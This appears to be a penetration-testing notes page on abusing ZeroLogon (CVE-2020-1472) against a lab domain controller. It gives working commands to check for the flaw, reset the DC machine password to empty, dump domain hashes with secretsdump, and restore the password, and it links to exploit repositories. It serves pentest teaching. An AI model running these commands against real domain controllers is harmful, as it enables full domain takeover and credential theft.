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# Abusing ZeroLogon

## Methodology

* Attacking DC and setting pass to null and taking over DC **CAREFUL COULD DESTROY DC**
* Check priorly if the target is vulnerable *Note: Useful for a pentest to mention to the customer that they are vulnerable without actually doing the exploitation*

  ```
  ┌──(root💀kali)-[/home/kali/CVE-2020-1472]
  └─# python3 zerologon_tester.py HYDRA-DC 10.0.2.5
  Performing authentication attempts...
  ===================================================================================================================================================================================================================================================================================================================================================================================================================================================================================================================================================================
  Success! DC can be fully compromised by a Zerologon attack.
  ```
* Changing the password to empty string: `python3 exploit.py HYDRA-DC 10.0.2.5`
* Check if it worked: `secretsdump.py -just-dc DOMAIN/DOMAIN-CONTROLLER\$@IP-OF-DC` Example: `secretsdump.py -just-dc MARVEL/HYDRA-DC\$@10.0.2.5`
* If we were able to dump hashes without typing password it means we owned the DC.
* Restore the machine
  * Use the admin hash to get the plain\_password\_hex `secretsdump.py administrator@10.0.2.5 -hashes aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0`
  * Restore the password `python3 restorepassword.py MARVEL/HYDRA-DC@HYDRA-DC -target-ip 10.0.2.5 -hexpass <Put here the hexpass you just got>`\
    The console should print `Change password OK`
* There is also another way to exploit zerologon without resetting the DC password, check out [Dirk-Jan Mollema's article about this](https://dirkjanm.io/a-different-way-of-abusing-zerologon/)

## Zerologon - Resources

{% embed url="<https://lisandre.com/archives/14978>" %}
Zerologon (CVE-2020-1472) by Lisandre
{% endembed %}

{% embed url="<https://www.trendmicro.com/en_us/what-is/zerologon.html>" %}
What is ZeroLogon?
{% endembed %}

{% embed url="<https://github.com/dirkjanm/CVE-2020-1472>" %}
dirkjanm CVE-2020-1472
{% endembed %}

{% embed url="<https://github.com/SecuraBV/CVE-2020-1472>" %}
SecuraBV ZeroLogon Checker
{% endembed %}


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